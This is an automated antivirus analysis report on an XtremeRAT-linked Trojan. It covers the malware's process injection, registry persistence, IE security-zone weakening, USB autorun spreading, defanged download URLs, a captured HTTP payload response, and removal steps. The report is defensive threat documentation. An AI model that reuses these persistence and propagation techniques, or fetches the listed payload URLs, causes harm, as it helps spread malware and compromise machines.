Gen.Variant.Kazy.355680_50e747f717

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Process activity

The Trojan creates the following process(es):

server.com:164
server.com:344
d70KLrQfgdEMhtVoyEiV7.exe:1128
%original file name%.exe:1008

The Trojan injects its code into the following process(es):

svchost.exe:1540
iexplore.exe:1120
svchost.exe:428

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process server.com:164 makes changes in the file system.

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\x.html (0 bytes)

The process server.com:344 makes changes in the file system.

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\x.html (0 bytes)

The process d70KLrQfgdEMhtVoyEiV7.exe:1128 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\server.com (1568 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\server.com (0 bytes)

The process %original file name%.exe:1008 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\d70KLrQfgdEMhtVoyEiV7.exe (10208 bytes)

Registry activity

The process server.com:164 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5D 45 81 79 62 66 B0 85 EC 4B C4 FE 63 77 5F D0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\XtremeRAT]
"Mutex" = "zSTa1zikE"

The process server.com:344 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F9 B3 7F 4A 6D 9A 1B 0E 99 73 DD 30 8E 37 C2 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\XtremeRAT]
"Mutex" = "zSTa1zikE"

The Trojan deletes the following registry key(s):

[HKCU\Software\XtremeRAT]

The process d70KLrQfgdEMhtVoyEiV7.exe:1128 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 50 37 21 24 21 7F A8 86 1A A0 BE CB 36 0A 59"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

The Trojan deletes the following value(s) in system registry:

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0"

The process %original file name%.exe:1008 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "66 C1 26 3E D6 29 F7 44 E3 2E 48 C4 4D 52 3E B3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"d70KLrQfgdEMhtVoyEiV7.exe" = "Win32 Cabinet Self-Extractor"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Dropped PE files

MD5	File path
bfa4236e4b332651910723062a3e3067	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\d70KLrQfgdEMhtVoyEiV7.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   server.com:164
   server.com:344
   d70KLrQfgdEMhtVoyEiV7.exe:1128
   %original file name%.exe:1008
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\server.com (1568 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\d70KLrQfgdEMhtVoyEiV7.exe (10208 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
   "wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version: 1.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename: ???????.exe
Internal Name: ???????.exe
File Version: 1.0.0.0
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: 1.0.0.0Legal Copyright: Legal Trademarks: Original Filename: ???????.exeInternal Name: ???????.exeFile Version: 1.0.0.0File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	5524	5632	3.73542	37d74876f8b213a82f218134cffebe03
.rsrc	16384	672	1024	1.59012	aa380b036f4bd9e0b15804332f8085a2
.reloc	24576	12	512	0.056519	bc654397a960343a87b402fbbadd07e0

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ge.tt/api/1/files/1pPhcJ82/0/blob?download	54.195.252.180
hxxp://open.ge.tt/1/files/1pPhcJ82/0/blob?download
hxxp://s3-3-w.amazonaws.com/gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172
hxxp://w155166.open.ge.tt/1/files/1pPhcJ82/0/blob?download	54.247.122.87
hxxp://s3.kkloud.com.s3.amazonaws.com/gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172	54.231.140.178

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172 HTTP/1.1

Host: s3.kkloud.com.s3.amazonaws.com

Connection: Keep-Alive

HTTP/1.1 200 OK

x-amz-id-2: 7ONYUfJnWm4StMsHFidp0VqzSoGyo5U2U45/0TDZzWvONQ/TORNs9RRL63oXhekc/GNDRrG1lhI=

x-amz-request-id: 5454F2C830164658

Date: Tue, 20 Jan 2015 13:51:22 GMT

Content-Disposition: attachment;

Last-Modified: Sat, 10 Jan 2015 15:20:42 GMT

ETag: "903a228d33a42500a66a2fa4888c6da1-1"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 486912

Server: AmazonS3

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e.............SQ......SQ......SQ......SQ..........I...SQ.......hu.....SQ......SQ......Rich............PE..L...#.[R.................f...........g............@.......................................@...... ......................................T.......................P... ...............................X...@............................................text....e.......f.................. ..`.data................j..............@....idata..x............n..............@..@.rsrc...............................@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................................................................................................................................eu@......g@..........f@..p@.........#.[R........%.......................................@.@...@.Invalid parameter passed to C runtime function......advapi32.dll....CheckTokenMembership...."... ....INF....[...]...Reboot..AdvancedINF.Version.setupx.dll..setupapi.dll.....BAT....SeShutdownPrivilege.advpack.dll.DelNodeRunDLL32.*...........wininit.ini.%lu.Software\Microsoft\Windows\CurrentVersion\App Paths.\...K.e.r.n.e.l.3.2...d.l.l.....HeapSetInformation..TITLE...EXTRACTOPT..INSTANCECHECK...VERCHECK....DecryptF

<<< skipped >>>

GET /1/files/1pPhcJ82/0/blob?download HTTP/1.1

Host: w155166.open.ge.tt

Connection: Keep-Alive

HTTP/1.1 307 Temporary Redirect

location: hXXp://s3.kkloud.com.s3.amazonaws.com/gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172

connection: keep-alive

transfer-encoding: chunked

0..

GET /api/1/files/1pPhcJ82/0/blob?download HTTP/1.1

Host: ge.tt

Connection: Keep-Alive

HTTP/1.1 307 Temporary Redirect

location: hXXp://w155166.open.ge.tt/1/files/1pPhcJ82/0/blob?download

Connection: keep-alive

Transfer-Encoding: chunked

0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

svchost.exe_1540:

.text

.text

`.data

`.data

.rsrc

.rsrc

ADVAPI32.dll

ADVAPI32.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

RPCRT4.dll

RPCRT4.dll

NETAPI32.dll

NETAPI32.dll

ole32.dll

ole32.dll

ntdll.dll

ntdll.dll

RegCloseKey

RegCloseKey

RegOpenKeyExW

RegOpenKeyExW

GetProcessHeap

GetProcessHeap

NtOpenKey

NtOpenKey

svchost.pdb

svchost.pdb

\PIPE\

\PIPE\

Software\Microsoft\Windows NT\CurrentVersion\Svchost

Software\Microsoft\Windows NT\CurrentVersion\Svchost

\Registry\Machine\System\CurrentControlSet\Control\SecurePipeServers\

\Registry\Machine\System\CurrentControlSet\Control\SecurePipeServers\

5.1.2600.5512 (xpsp.080413-2111)

5.1.2600.5512 (xpsp.080413-2111)

svchost.exe

svchost.exe

Windows

Windows

Operating System

Operating System

5.1.2600.5512

5.1.2600.5512

svchost.exe_1540_rwx_10000000_0004D000:

`.rsrc

`.rsrc

ServerKeyloggerU

ServerKeyloggerU